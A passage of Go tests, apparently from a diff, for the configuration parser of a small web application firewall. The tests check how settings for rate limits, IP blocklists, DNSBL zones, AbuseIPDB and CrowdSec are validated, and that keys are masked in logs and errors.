len(cfg.ASNBytesPercent) != 0 || len(cfg.CountryBytesPercent) != 0 || - cfg.UnknownLimitPercent != 100 { - t.Errorf("biased thresholds %v, %v, %v, %v and %d by default, "+ - "want four empty lists and 100", cfg.ASNLimitPercent, cfg.CountryLimitPercent, - cfg.ASNBytesPercent, cfg.CountryBytesPercent, cfg.UnknownLimitPercent) - } - - // AS numbers and countries in either case, an AS number with leading - // zeros, 0 and 100. - cfg = fromEnvironment(t, environment{ - asnLimitPercent: "AS14061:50, as16276:0,AS045102:100", - countryLimitPercent: "cn:25,RU:50", - asnBytesPercent: "as16276:75", - countryBytesPercent: "ru:10", - unknownLimitPercent: "0", - }) - - for name, tc := range map[string]struct{ got, want map[string]int64 }{ - asnLimitPercent: { - cfg.ASNLimitPercent, - map[string]int64{"AS14061": 50, "AS16276": 0, "AS45102": 100}, - }, - countryLimitPercent: {cfg.CountryLimitPercent, map[string]int64{"CN": 25, "RU": 50}}, - asnBytesPercent: {cfg.ASNBytesPercent, map[string]int64{"AS16276": 75}}, - countryBytesPercent: {cfg.CountryBytesPercent, map[string]int64{"RU": 10}}, - } { - if !maps.Equal(tc.got, tc.want) { - t.Errorf("%s gave %v, want %v", name, tc.got, tc.want) - } - } - - if cfg.UnknownLimitPercent != 0 { - t.Errorf("%s gave %d, want 0", unknownLimitPercent, cfg.UnknownLimitPercent) - } -} - -func TestInvalidBiasedThresholdStopsTheStartSayingWhatIsWrong(t *testing.T) { - t.Parallel() - - const ( - notASN = " is not an AS number such as AS64496" - notItem = " is not a code, : and a percentage, such as AS64496:50 or cn:25" - notPercent = " is not a percentage, a whole number from 0 to 100" - ) - - for _, tc := range []struct{ name, value, want string }{ - {asnLimitPercent, "14061:50", `"14061"` + notASN}, - {asnLimitPercent, "AS4294967296:50", `"AS4294967296"` + notASN}, - {asnLimitPercent, "AS14061", `"AS14061"` + notItem}, - {asnLimitPercent, "AS14061:101", `"101"` + notPercent}, - {asnLimitPercent, "AS14061:50,as14061:25", `"as14061" is listed twice`}, - { - countryLimitPercent, "nk:25", - `"nk" is not a two-letter country code such as de or kp`, - }, - {countryLimitPercent, "cn:25,CN:50", `"CN" is listed twice`}, - {asnBytesPercent, "AS14061:-1", `"-1"` + notPercent}, - {countryBytesPercent, "cn:50%", `"50%"` + notPercent}, - {unknownLimitPercent, "101", `"101"` + notPercent}, - {unknownLimitPercent, off, `"off"` + notPercent}, - } { - t.Run(tc.name+"="+tc.value, func(t *testing.T) { - t.Parallel() - - _, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv) - - want := tc.name + ": " + tc.want - if err == nil || err.Error() != want { - t.Errorf("error %v, want %s", err, want) - } - }) - } -} - -// dropURL and torURL are blocklists, and asnURL a file of AS:percent -// lines. -const ( - dropURL = "https://www.spamhaus.org/drop/drop.txt" - torURL = "https://lists.example/tor-exits.txt" - asnURL = "https://lists.example/asn.txt" -) - -// The actions of SWWAF_BLOCKLIST_ACTION, as Config gives them. -const ( - actionDeny = "deny" - actionLimit = "limit" - actionLog = "log" -) - -func TestReputationSettingsAsSet(t *testing.T) { - t.Parallel() - - cfg := fromEnvironment(t, environment{}) - if len(cfg.BlocklistURLs) != 0 || cfg.BlocklistRefresh != 24*time.Hour || - cfg.BlocklistAction != actionDeny || cfg.ASNLimitPercentURL != "" { - t.Errorf("%s, %s, %s and %s gave %v, %s, %s and %q by default, "+ - "want none, 24h, deny and none", blocklistURLs, blocklistRefresh, - blocklistAction, asnLimitPercentURL, cfg.BlocklistURLs, cfg.BlocklistRefresh, - cfg.BlocklistAction, cfg.ASNLimitPercentURL) - } - - for _, tc := range []struct { - value, action string - percent int64 - }{ - {actionDeny, actionDeny, 0}, - {actionLog, actionLog, 0}, - {"limit:25", actionLimit, 25}, - {"limit:0", actionLimit, 0}, - } { - // An hour, the shortest refresh allowed. - cfg := fromEnvironment(t, environment{ - blocklistURLs: dropURL + ", " + torURL, blocklistRefresh: "1h", - blocklistAction: tc.value, asnLimitPercentURL: asnURL, - }) - - if !slices.Equal(cfg.BlocklistURLs, []string{dropURL, torURL}) || - cfg.BlocklistRefresh != time.Hour || cfg.BlocklistAction != tc.action || - cfg.BlocklistLimitPercent != tc.percent || cfg.ASNLimitPercentURL != asnURL { - t.Errorf("%s=%s gave %v, %s, %s, %d and %s", blocklistAction, tc.value, - cfg.BlocklistURLs, cfg.BlocklistRefresh, cfg.BlocklistAction, - cfg.BlocklistLimitPercent, cfg.ASNLimitPercentURL) - } - } -} - -func TestInvalidReputationSettingStopsTheStartSayingWhatIsWrong(t *testing.T) { - t.Parallel() - - const ( - notURL = " is not an http or https URL without a user or a fragment, " + - "such as https://www.spamhaus.org/drop/drop.txt" - notAnHour = " is not a duration of 1h or more, such as 24h" - notAction = " is not deny, limit: such as limit:25, or log" - ) - - for _, tc := range []struct{ name, value, want string }{ - { - blocklistURLs, "ftp://lists.example/drop.txt", - `"ftp://lists.example/drop.txt"` + notURL, - }, - {blocklistURLs, "lists.example/drop.txt", `"lists.example/drop.txt"` + notURL}, - { - blocklistURLs, "https://me:secret@lists.example/drop.txt", - `"https://me:secret@lists.example/drop.txt"` + notURL, - }, - { - blocklistURLs, dropURL + "," + torURL + "," + dropURL, - `"` + dropURL + `" is listed twice`, - }, - {asnLimitPercentURL, asnURL + "#top", `"` + asnURL + `#top"` + notURL}, - {blocklistRefresh, "59m", `"59m"` + notAnHour}, - {blocklistRefresh, off, `"off"` + notAnHour}, - {blocklistRefresh, "a day", `"a day"` + notAnHour}, - {blocklistAction, "block", `"block"` + notAction}, - {blocklistAction, actionLimit, `"limit"` + notAction}, - {blocklistAction, "limit:101", `"limit:101"` + notAction}, - } { - t.Run(tc.name+"="+tc.value, func(t *testing.T) { - t.Parallel() - - _, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv) - - want := tc.name + ": " + tc.want - if err == nil || err.Error() != want { - t.Errorf("error %v, want %s", err, want) - } - }) - } -} - -func TestASNLimitPercentURLThatIsABlocklistStopsTheStart(t *testing.T) { - t.Parallel() - - _, err := config.FromEnvironment(environment{ - blocklistURLs: dropURL + "," + asnURL, asnLimitPercentURL: asnURL, - }.lookupEnv) - - want := asnLimitPercentURL + `: "` + asnURL + `" is in SWWAF_BLOCKLIST_URLS too` - if err == nil || err.Error() != want { - t.Errorf("error %v, want %s", err, want) - } -} - -// dronebl is a DNSBL zone, and spamhaus one of Spamhaus's, a name -// containing spamhausKey, the key of its keyed query service, which the -// log shows as spamhausMasked. -const ( - dronebl = "dnsbl.dronebl.org" - spamhausKey = "abcdefghijklmnopqrstuvwxyz" - spamhaus = spamhausKey + ".xbl.dq.spamhaus.net" - spamhausMasked = "********.xbl.dq.spamhaus.net" -) - -func TestDNSBLSettingsAsSet(t *testing.T) { - t.Parallel() - - cfg := fromEnvironment(t, environment{}) - if len(cfg.DNSBLZones) != 0 || cfg.DNSBLResolver.IsValid() || - cfg.ReputationAction != actionLimit || cfg.ReputationLimitPercent != 25 || - cfg.ReputationCacheTTL != 24*time.Hour || cfg.ReputationTimeout != 2*time.Second { - t.Errorf("by default, the zones %v, the resolver %s, the action %s:%d, the TTL %s "+ - "and the timeout %s, want no zone, no resolver, limit:25, 24h and 2s", - cfg.DNSBLZones, - cfg.DNSBLResolver, cfg.ReputationAction, cfg.ReputationLimitPercent, - cfg.ReputationCacheTTL, cfg.ReputationTimeout) - } - - // The longest zone allowed, of 189 characters, with labels of 63, the - // longest allowed. - longest := strings.Repeat("a", 63) + "." + strings.Repeat("b", 63) + "." + - strings.Repeat("c", 61) - - for _, tc := range []struct { - zones, resolver, action string - // want are the zones, resolver, action and percent Config gives. - want []string - wantResolver string - wantAction string - wantPercent int64 - }{ - { - dronebl + ", " + spamhaus, "192.0.2.53", actionDeny, - []string{dronebl, spamhaus}, "192.0.2.53:53", actionDeny, 0, - }, - { - longest, "192.0.2.53:5353", actionLog, - []string{longest}, "192.0.2.53:5353", actionLog, 0, - }, - { - "Dnsbl-1.Example", "2001:db8::53", "limit:10", - []string{"Dnsbl-1.Example"}, "[2001:db8::53]:53", actionLimit, 10, - }, - { - dronebl, "[2001:db8::53]:5353", "limit:0", - []string{dronebl}, "[2001:db8::53]:5353", actionLimit, 0, - }, - } { - cfg := fromEnvironment(t, environment{ - dnsblZones: tc.zones, dnsblResolver: tc.resolver, reputationAction: tc.action, - reputationCacheTTL: "12h", reputationTimeout: "3s", - }) - - if !slices.Equal(cfg.DNSBLZones, tc.want) || - cfg.DNSBLResolver.String() != tc.wantResolver || - cfg.ReputationAction != tc.wantAction || - cfg.ReputationLimitPercent != tc.wantPercent || - cfg.ReputationCacheTTL != 12*time.Hour || - cfg.ReputationTimeout != 3*time.Second { - t.Errorf("%s=%s, %s=%s and %s=%s gave %v, %s, %s:%d, %s and %s", dnsblZones, - tc.zones, dnsblResolver, tc.resolver, reputationAction, tc.action, - cfg.DNSBLZones, cfg.DNSBLResolver, cfg.ReputationAction, - cfg.ReputationLimitPercent, cfg.ReputationCacheTTL, cfg.ReputationTimeout) - } - } -} - -func TestInvalidDNSBLSettingStopsTheStartSayingWhatIsWrong(t *testing.T) { - t.Parallel() - - const ( - notZone = " is not a DNS zone such as dnsbl.dronebl.org" - notResolver = " is not an IP address with an optional port, such as 192.0.2.53 " + - "or [2001:db8::53]:5353" - notAboveZero = " is not a duration above zero, such as 1h or 7d" - ) - - label64 := strings.Repeat("a", 64) + ".example" - tooLong := strings.Repeat("a", 63) + "." + strings.Repeat("b", 63) + "." + - strings.Repeat("c", 62) - - for _, tc := range []struct{ name, value, want string }{ - {dnsblZones, "dnsbl..example", `"dnsbl..example"` + notZone}, - {dnsblZones, "dnsbl.example.", `"dnsbl.example."` + notZone}, - {dnsblZones, "-dnsbl.example", `"-dnsbl.example"` + notZone}, - {dnsblZones, "dnsbl-.example", `"dnsbl-.example"` + notZone}, - {dnsblZones, "dns_bl.example", `"dns_bl.example"` + notZone}, - {dnsblZones, label64, `"` + label64 + `"` + notZone}, - { - dnsblZones, tooLong, - `"` + tooLong + `" is longer than 189 characters, too long for the names ` + - `IPv6 clients are asked about by`, - }, - { - dnsblZones, dronebl + "," + spamhaus + "," + dronebl, - `"` + dronebl + `" is listed twice`, - }, - // DNS names ignore case. - {dnsblZones, "dnsbl.example,DNSBL.example", `"DNSBL.example" is listed twice`}, - {dnsblResolver, "resolver.example", `"resolver.example"` + notResolver}, - {dnsblResolver, "192.0.2.53:0", `"192.0.2.53:0"` + notResolver}, - {dnsblResolver, "192.0.2.53:65536", `"192.0.2.53:65536"` + notResolver}, - {dnsblResolver, "[2001:db8::53]", `"[2001:db8::53]"` + notResolver}, - { - reputationAction, "ban", - `"ban" is not deny, limit: such as limit:25, or log`, - }, - {reputationCacheTTL, off, `"off"` + notAboveZero}, - {reputationTimeout, "0s", `"0s"` + notAboveZero}, - } { - t.Run(tc.name+"="+tc.value, func(t *testing.T) { - t.Parallel() - - _, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv) - - want := tc.name + ": " + tc.want - if err == nil || err.Error() != want { - t.Errorf("error %v, want %s", err, want) - } - }) - } -} - -func TestMaskZoneKeyMasksTheFirstLabelOfAZoneUnderDqSpamhausNet(t *testing.T) { - t.Parallel() - - for zone, want := range map[string]string{ - spamhaus: spamhausMasked, - spamhaus + ".": spamhausMasked + ".", - "KEY.ZEN.DQ.SPAMHAUS.NET": "********.ZEN.DQ.SPAMHAUS.NET", - dronebl: dronebl, - "dq.spamhaus.net": "dq.spamhaus.net", - spamhaus + ".example": spamhaus + ".example", - } { - if got := config.MaskZoneKey(zone); got != want { - t.Errorf("MaskZoneKey(%q) is %q, want %q", zone, got, want) - } - } -} - -func TestDNSBLZoneKeyIsLoggedMaskedAndNeverShown(t *testing.T) { - t.Parallel() - - cfg := fromEnvironment(t, environment{dnsblZones: dronebl + ", " + spamhaus}) - - var out bytes.Buffer - - slog.New(slog.NewJSONHandler(&out, nil)).Info("starting", "settings", cfg) - - logged := out.String() - if strings.Contains(logged, spamhausKey) || - !strings.Contains(logged, `"`+dnsblZones+`":"`+dronebl+","+spamhausMasked+`"`) { - t.Errorf("the zones are not logged with the key masked: %s", logged) - } - - // Nor does an error that stops the start show a key, in any case. - const ( - notZone = " is not a DNS zone such as dnsbl.dronebl.org" - otherKey = "zyxwvutsrqponmlkjihgfedcba" - otherZone = otherKey + ".xbl.dq.spamhaus.net" - ) - - // 205 characters, 187 with the key masked. - labels := strings.Repeat("a", 63) + "." + strings.Repeat("b", 63) + "." + - strings.Repeat("c", 30) + ".xbl.dq.spamhaus.net" - - for _, tc := range []struct{ value, want string }{ - {spamhaus + ".", `"` + spamhausMasked + `."` + notZone}, - {spamhausKey + "_.xbl.dq.spamhaus.net", `"` + spamhausMasked + `"` + notZone}, - { - spamhausKey + "." + labels, - `"********.` + labels + `" is longer than 189 characters, too long ` + - `for the names IPv6 clients are asked about by`, - }, - { - spamhaus + "," + strings.ToUpper(spamhaus), - `"********.XBL.DQ.SPAMHAUS.NET" is listed twice`, - }, - {spamhaus + "," + otherZone, `"` + spamhausMasked + `" is listed twice`}, - {spamhaus + ",,", "has an empty item in its list"}, - } { - _, err := config.FromEnvironment(environment{dnsblZones: tc.value}.lookupEnv) - - want := dnsblZones + ": " + tc.want - if err == nil || err.Error() != want { - t.Errorf("%s=%s gave the error %v, want %s", dnsblZones, tc.value, err, want) - } - } -} - -func TestAbuseIPDBSettingsAsSet(t *testing.T) { - t.Parallel() - - cfg := fromEnvironment(t, environment{}) - if cfg.AbuseIPDBKey != "" || cfg.AbuseIPDBMinScore != 75 || - cfg.AbuseIPDBDailyBudget != 900 { - t.Errorf("by default, the key %q, the minimum score %d and the daily budget %d, "+ - "want none, 75 and 900", cfg.AbuseIPDBKey, cfg.AbuseIPDBMinScore, - cfg.AbuseIPDBDailyBudget) - } - - cfg = fromEnvironment(t, environment{ - abuseIPDBKey: token, abuseIPDBMinScore: "0", abuseIPDBDailyBudget: "1", - }) - if cfg.AbuseIPDBKey != token || cfg.AbuseIPDBMinScore != 0 || - cfg.AbuseIPDBDailyBudget != 1 { - t.Errorf("set, the key %q, the minimum score %d and the daily budget %d, "+ - "want %s, 0 and 1", cfg.AbuseIPDBKey, cfg.AbuseIPDBMinScore, - cfg.AbuseIPDBDailyBudget, token) - } -} - -func TestInvalidAbuseIPDBSettingStopsTheStartSayingWhatIsWrong(t *testing.T) { - t.Parallel() - - const ( - notScore = " is not a percentage, a whole number from 0 to 100" - notBudget = " is not a whole number above zero, such as 5000" - ) - - for _, tc := range []struct{ name, value, want string }{ - {abuseIPDBMinScore, "101", `"101"` + notScore}, - {abuseIPDBMinScore, off, `"off"` + notScore}, - {abuseIPDBDailyBudget, "0", `"0"` + notBudget}, - {abuseIPDBDailyBudget, off, `"off"` + notBudget}, - // The key itself is never shown. - { - abuseIPDBKey, token + "\r", - "holds a control character, such as the carriage return of a Windows line end", - }, - } { - t.Run(tc.name+"="+tc.value, func(t *testing.T) { - t.Parallel() - - _, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv) - - want := tc.name + ": " + tc.want - if err == nil || err.Error() != want { - t.Errorf("error %v, want %s", err, want) - } - }) - } -} - -func TestAbuseIPDBKeyIsLoggedMasked(t *testing.T) { - t.Parallel() - - cfg := fromEnvironment(t, environment{abuseIPDBKey: token}) - - var out bytes.Buffer - - slog.New(slog.NewJSONHandler(&out, nil)).Info("starting", "settings", cfg) - - logged := out.String() - if strings.Contains(logged, token) || - !strings.Contains(logged, `"`+abuseIPDBKey+`":"********"`) { - t.Errorf("the key is not logged masked: %s", logged) - } -} - -func TestCrowdSecSettingsGiveTheDecisionListAndTheKey(t *testing.T) { - t.Parallel() - - cfg := fromEnvironment(t, environment{}) - if cfg.CrowdSecDecisionsURL != "" || cfg.CrowdSecKey != "" { - t.Errorf("by default, the decision list %q and the key %q, want neither", - cfg.CrowdSecDecisionsURL, cfg.CrowdSecKey) - } - - for lapi, want := range map[string]string{ - "http://172.17.0.1:8080": "http://172.17.0.1:8080/v1/decisions", - "http://172.17.0.1:8080/": "http://172.17.0.1:8080/v1/decisions", - "https://crowdsec.example/lapi/": "https://crowdsec.example/lapi/v1/decisions", - "https://crowdsec.example:8443/x": "https://crowdsec.example:8443/x/v1/decisions", - } { - cfg := fromEnvironment(t, environment{crowdSecURL: lapi, crowdSecKey: token}) - if cfg.CrowdSecDecisionsURL != want || cfg.CrowdSecKey != token { - t.Errorf("%s=%s gave the decision list %q and the key %q, want %s and %s", - crowdSecURL, lapi, cfg.CrowdSecDecisionsURL, cfg.CrowdSecKey, want, token) - } - } -} - -func TestInvalidCrowdSecSettingStopsTheStartSayingWhatIsWrong(t *testing.T) { - t.Parallel() - - const ( - lapi = "http://172.17.0.1:8080" - notLAPIURL = " is not an http or https URL without a user or a fragment, " + - "such as http://172.17.0.1:8080" - anotherList = `gives the decision list "` + lapi + `/v1/decisions", which is in ` + - `SWWAF_BLOCKLIST_URLS or is SWWAF_ASN_LIMIT_PERCENT_URL too` - ) - - for _, tc := range []struct { - name string - env environment - want string - }{ - { - "a URL that is not http", - environment{crowdSecURL: "ftp://172.17.0.1", crowdSecKey: token}, - crowdSecURL + `: "ftp://172.17.0.1"` + notLAPIURL, - }, - { - "a URL with a user", - environment{crowdSecURL: "http://bouncer@172.17.0.1:8080", crowdSecKey: token}, - crowdSecURL + `: "http://bouncer@172.17.0.1:8080"` + notLAPIURL, - }, - { - "the URL without the key", - environment{crowdSecURL: lapi}, - crowdSecURL + ": is set while " + crowdSecKey + " is unset; the engine " + - "answers no request without it", - }, - { - "the key without the URL", - environment{crowdSecKey: token}, - crowdSecKey + ": is set while " + crowdSecURL + " is unset; it is sent only " + - "to the engine at that URL", - }, - { - "the decision list as a blocklist too", - environment{ - crowdSecURL: lapi, crowdSecKey: token, - blocklistURLs: "https://lists.example/drop.txt," + lapi + "/v1/decisions", - }, - crowdSecURL + ": " + anotherList, - }, - { - "the decision list as the file of AS:percent lines too", - environment{ - crowdSecURL: lapi + "/", crowdSecKey: token, - asnLimitPercentURL: lapi + "/v1/decisions", - }, - crowdSecURL + ": " + anotherList, - }, - // The key itself is never shown. - { - "a key with a control character", - environment{crowdSecURL: lapi, crowdSecKey: token + "\r"}, - crowdSecKey + ": holds a control character, such as the carriage return " + - "of a Windows line end", - }, - } { - t.Run(tc.name, func(t *testing.T) { - t.Parallel() - - _, err := config.FromEnvironment(tc.env.lookupEnv) - if err == nil || err.Error() != tc.want { - t.Errorf("error %v, want %s", err, tc.want) - } - }) - } -} - -func TestCrowdSecKeyIsLoggedMasked(t *testing.T) { - t.Parallel() - - cfg := fromEnvironment(t, environment{ - crowdSecURL: "http://172.17.0.1:8080", crowdSecKey: token, - }) - - var out bytes.Buffer - - slog.New(slog.NewJSONHandler(&out, nil)).Info("starting", "settings", cfg) - - logged := out.String() - if strings.Contains(logged, token) || - !strings.Contains(logged, `"`+crowdSecKey+`":"********"`) || - !strings.Contains(logged, `"`+crowdSecURL+`":"http://172.17.0.1:8080"`) { - t.Errorf("the key is not logged masked beside the URL: %s", logged) - } -} - -func TestSizesAndOff(t *testing.T) { - t.Parallel() - - cfg := fromEnvironment(t, environment{ - bytesLimitPerMinute: "3G", - bytesLimitPerHour: off, - alertCooldown: off, - }) - - if cfg.BytesLimitPerMinute != 3<<30 || cfg.BytesLimitPerHour != 0 || - cfg.AlertCooldown != 0 { - t.Errorf("3G, off and off read as %d, %d and %s", - cfg.BytesLimitPerMinute, cfg.BytesLimitPerHour, cfg.AlertCooldown) - } -} - -func TestRateLimitsOff(t *testing.T) { - t.Parallel() - - cfg := fromEnvironment(t, environment{ - rateLimitPerMinute: off, - rateLimitPerHour: off, - rateLimitPerDay: off, - }) - - if cfg.RateLimitPerMinute != 0 || cfg.RateLimitPerHour != 0 || - cfg.RateLimitPerDay != 0 { - t.Errorf("off read as %d, %d and %d", - cfg.RateLimitPerMinute, cfg.RateLimitPerHour, cfg.RateLimitPerDay) - } -} - -func TestBanResponseCloseIsZero(t *testing.T) { - t.Parallel() - - cfg := fromEnvironment(t, environment{banResponse: "close"}) - if cfg.BanResponse != 0 { - t.Errorf("close read as %d, want 0", cfg.BanResponse) - } -} - -func TestInvalidValueStopsTheStart(t *testing.T) { - t.Parallel() - - wantStartStopped(t, []struct{ name, value string }{ - {listenAddr, "8080"}, {listenAddr, ":http"}, {listenAddr, ":65536"}, - {mode, "Observe"}, {mode, "block"}, {mode, ""}, - {ipv6GroupPrefix, "31"}, {ipv6GroupPrefix, "129"}, {ipv6GroupPrefix, "/64"}, - {ipv6GroupPrefix, off}, {ipv6GroupPrefix, ""}, - {maxTrackedClients, "0"}, {maxTrackedClients, "-1"}, {maxTrackedClients, off}, - {maxTrackedClients, "20K"}, - {allowNets, "192.0.2.0/24,monitoring"}, - {rateLimitExemptNets, "2001:db8::/129"}, - {denyNets, "198.51.100.0/24,"}, - {alertCooldown, "60"}, {alertCooldown, ""}, - {alertCooldown, "0s"}, - {alertCooldown, "2 minutes"}, - {alertCooldown, "1y"}, - {alertCooldown, "-1s"}, - {alertCooldown, "1.5d"}, - {bytesLimitPerMinute, "100MB"}, - {bytesLimitPerMinute, "100m"}, - {bytesLimitPerMinute, "1.5M"}, - {bytesLimitPerHour, "0"}, - {bytesLimitPerHour, "-5"}, - {bytesLimitPerHour, "99999999999G"}, - {rateLimitPerMinute, ""}, - {rateLimitPerMinute, "1K"}, - {rateLimitPerHour, "0"}, - {rateLimitPerHour, "1.5"}, - {rateLimitPerDay, "-1"}, {rateLimitPerDay, "lots"}, - {rateLimitExemptPaths, "/assets/,,/static/"}, - {bytesLimitPerMinute, "10GB"}, {bytesLimitPerHour, "0"}, - {bytesLimitPerDay, "-1G"}, - {bytesCount, "all"}, {bytesCount, "Both"}, {bytesCount, ""}, - {lookupSource, "ipinfo"}, {lookupSource, "GeoJS"}, {lookupSource, ""}, - {lookupTimeout, off}, {lookupTimeout, "0s"}, {lookupTimeout, "1"}, - {addLookupHeaders, "yes"}, - {deniedCountries, "nk"}, - {deniedCountries, "kp,,ir"}, - {deniedCountries, "prk"}, - {deniedCountries, "408"}, - {deniedCountries, "k"}, - {deniedCountries, "eu"}, - {deniedCountries, "un"}, - {deniedCountries, "su"}, - {allowedCountries, "ac"}, - {allowedCountries, "uk"}, - {allowedCountries, "zz"}, - {allowedCountries, "de,germany"}, - {asnLimitPercent, "AS14061:50,,AS16276:50"}, {asnLimitPercent, "ASX:50"}, - {asnLimitPercent, "AS14061:"}, {asnLimitPercent, "AS14061 :50"}, - {asnLimitPercent, "AS14061:1.5"}, {asnLimitPercent, "AS-1:50"}, - {countryLimitPercent, "cn"}, {countryLimitPercent, "cn:"}, - {countryLimitPercent, "cn:25:50"}, {countryLimitPercent, "china:25"}, - {asnBytesPercent, "AS14061:101"}, {countryBytesPercent, "su:50"}, - {unknownLimitPercent, ""}, {unknownLimitPercent, "-1"}, - {unknownLimitPercent, "50%"}, - {metricsTopN, off}, {metricsTopN, "0"}, {metricsTopN, "-1"}, - {logRequestHeaders, "accept,,origin"}, {logRequestHeaders, "accept;origin"}, - {logRequestHeaders, "accept language"}, {logRequestHeaders, "x-foo:"}, - {logRequestHeaders, "host"}, {logRequestHeaders, "accept,Host"}, - {logRequestHeaders, "transfer-encoding"}, {logRequestHeaders, "TRANSFER-ENCODING"}, - {logLevel, "INFO"}, {logLevel, "warning"}, {logLevel, "trace"}, {logLevel, ""}, - {rulesEnabled, "yes"}, {rulesEnabled, "True"}, - }) -} - -func TestInvalidBanOrStateValueStopsTheStart(t *testing.T) { - t.Parallel() - - wantStartStopped(t, []struct{ name, value string }{ - {banResponse, "404"}, {banResponse, "drop"}, {banResponse, ""}, - {limitBanDuration, off}, {limitBanDuration, "0s"}, {limitBanDuration, "1"}, - {limitBanRepeatWindow, off}, {limitBanRepeatWindow, "-1h"}, - {maxBanDuration, off}, {maxBanDuration, "1w"}, {attackBanDuration, off}, - {maxBans, off}, {maxBans, "0"}, {maxBans, "5K"}, - {banScopeV4Prefix, "33"}, {banScopeV4Prefix, "-1"}, {banScopeV4Prefix, "/24"}, - {stateDir, ""}, {stateDir, "state"}, {stateDir, "./var/lib/smallwebwaf"}, - {stateWriteDelay, off}, {stateWriteDelay, "0s"}, - {stateCounterInterval, off}, {stateCounterInterval, "15"}, - }) -} - -// wantStartStopped checks that each setting, set to its value, stops the -// start with an error that names the setting. -func wantStartStopped(t *testing.T, invalid []struct{ name, value string }) { - t.Helper() - - for _, tc := range invalid { - t.Run(tc.name+"="+tc.value, func(t *testing.T) { - t.Parallel() - - _, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv) - if err == nil { - t.Fatalf("%s=%q was accepted", tc.name, tc.value) - } - - if !strings.HasPrefix(err.Error(), tc.name+": ") { - t.Errorf("error %q does not name %s", err, tc.name) - } - }) - } -} - -func TestHostOrTransferEncodingStopsTheStart(t *testing.T) { - t.Parallel() - - // Only Host's message points to the field host. - for value, want := range map[string]string{ - "Host": `"Host" is taken out of every request by Go's HTTP server, ` + - "so it can never be logged; the request's host is the field host", - "transfer-encoding": `"transfer-encoding" is taken out of every ` + - "request by Go's HTTP server, so it can never be logged", - } { - t.Run(value, func(t *testing.T) { - t.Parallel() - - _, err := config.FromEnvironment(environment{logRequestHeaders: value}.lookupEnv) - if err == nil || err.Error() != logRequestHeaders+": "+want { - t.Errorf("error %v, want %s: %s", err, logRequestHeaders, want) - } - }) - } -} - -func TestShortTokenStopsTheStartWithoutShowingIt(t *testing.T) { - t.Parallel() - - // Characters are counted, not bytes: each é takes two. - for _, name := range []string{adminToken, metricsToken} { - for _, value := range []string{"", token[1:], strings.Repeat("é", 31)} { - t.Run(name+"="+value, func(t *testing.T) { - t.Parallel() - - _, err := config.FromEnvironment(environment{name: value}.lookupEnv) - - want := name + ": is shorter than 32 characters" - if err == nil || err.Error() != want { - t.Errorf("error %v, want %s", err, want) - } - }) - } - } -} - -func TestTokensAreReadAndLoggedMasked(t *testing.T) { - t.Parallel() - - cfg := fromEnvironment(t, environment{adminToken: otherToken, metricsToken: token}) - if cfg.AdminToken != otherToken || cfg.MetricsToken != token { - t.Errorf("admin token %q and metrics token %q, want %q and %q", - cfg.AdminToken, cfg.MetricsToken, otherToken, token) - } - - var out bytes.Buffer - - slog.New(slog.NewJSONHandler(&out, nil)).Info("starting", "settings", cfg) - - logged := out.String() - if strings.Contains(logged, token) || strings.Contains(logged, otherToken) || - !strings.Contains(logged, `"`+adminToken+`":"********"`) || - !strings.Contains(logged, `"`+metricsToken+`":"********"`) { - t.Errorf("the tokens are not logged masked: %s", logged) - } -} - -func TestSettingFromFileLosesOneNewlineAndNoMore(t *testing.T) { - t.Parallel() - - for contents, want := range map[string]string{ - token: token, - token + "\n": token, - token + "\n\n": token + "\n", - token + " \n": token + " ", - } { - cfg := fromEnvironment(t, environment{ - metricsToken + "_FILE": writeFile(t, contents), - }) - if cfg.MetricsToken != want { - t.Errorf("file holding %q gave %s %q, want %q", contents, metricsToken, - cfg.MetricsToken, want) - } - } -} - -func TestSettingFromFileIsCheckedAsTheSettingItself(t *testing.T) { - t.Parallel() - - _, err := config.FromEnvironment(environment{ - bytesLimitPerMinute + "_FILE": writeFile(t, "lots\n"), - }.lookupEnv) - - want := bytesLimitPerMinute + `: "lots" is not a size such as 512K, 100M or 5G, or off` - if err == nil || err.Error() != want { - t.Errorf("error %v, want %s", err, want) - } - - _, err = config.FromEnvironment(environment{ - logRemoteURL: remoteURL, - instanceName: instance, - logRemoteAppName + "_FILE": writeFile(t, "my app\n"), - }.lookupEnv) - - want = logRemoteAppName + `: "my app" is not 1 to 48 printable ASCII ` + - `characters without a space, such as gitea` - if err == nil || err.Error() != want { - t.Errorf("error %v, want %s", err, want) - } -} - -func TestSettingAndItsFileBothSetStopsTheStart(t *testing.T) { - t.Parallel() - - _, err := config.FromEnvironment(environment{ - metricsToken: token, - metricsToken + "_FILE": writeFile(t, token), - }.lookupEnv) - - want := metricsToken + ": is set, and so is " + metricsToken + - "_FILE; set only one of them" - if err == nil || err.Error() != want { - t.Errorf("error %v, want %s", err, want) - } -} - -func TestUnreadableSettingFileStopsTheStart(t *testing.T) { - t.Parallel() - - dir := t.TempDir() - - for _, path := range []string{filepath.Join(dir, "missing"), dir} { - _, err := config.FromEnvironment(environment{metricsToken + "_FILE": path}.lookupEnv) - - want := metricsToken + "_FILE: cannot be read: " - if err == nil || !strings.HasPrefix(err.Error(), want) { - t.Errorf("%s: error %v, want one starting %s", path, err, want) - } - } -} - -func TestTokenFromFileIsLoggedMaskedWithTheFile(t *testing.T) { - t.Parallel() - - path := writeFile(t, token+"\n") - cfg := fromEnvironment(t, environment{metricsToken + "_FILE": path}) - - var out bytes.Buffer - - slog.New(slog.NewJSONHandler(&out, nil)).Info("starting", "settings", cfg) - - var line struct { - Settings map[string]string `json:"settings"` - } - - err := json.Unmarshal(out.Bytes(), &line) - if err != nil { - t.Fatalf("decode %s: %v", out.Bytes(), err) - } - - if strings.Contains(out.String(), token) || - line.Settings[metricsToken] != "********" || - line.Settings[metricsToken+"_FILE"] != path { - t.Errorf("the token is not logged masked, with its file %s: %s", path, - out.String()) - } -} - -func TestRemoteLogCAFileIsNotReadAsAFileInItsTurn(t *testing.T) { - t.Parallel() - - cfg := fromEnvironment(t, environment{ - logRemoteTLSCAFile + "_FILE": writeFile(t, "/nonexistent/ca.pem\n"), - }) - if cfg.LogRemoteTLSCAs != nil { - t.Errorf("%s_FILE gave certificates", logRemoteTLSCAFile) - } -} - -// writeFile writes contents to a file in a directory of its own, removed -// when the test ends, and returns the file's path. -func writeFile(t *testing.T, contents string) string { - t.Helper() - - path := filepath.Join(t.TempDir(), "setting") - - err := 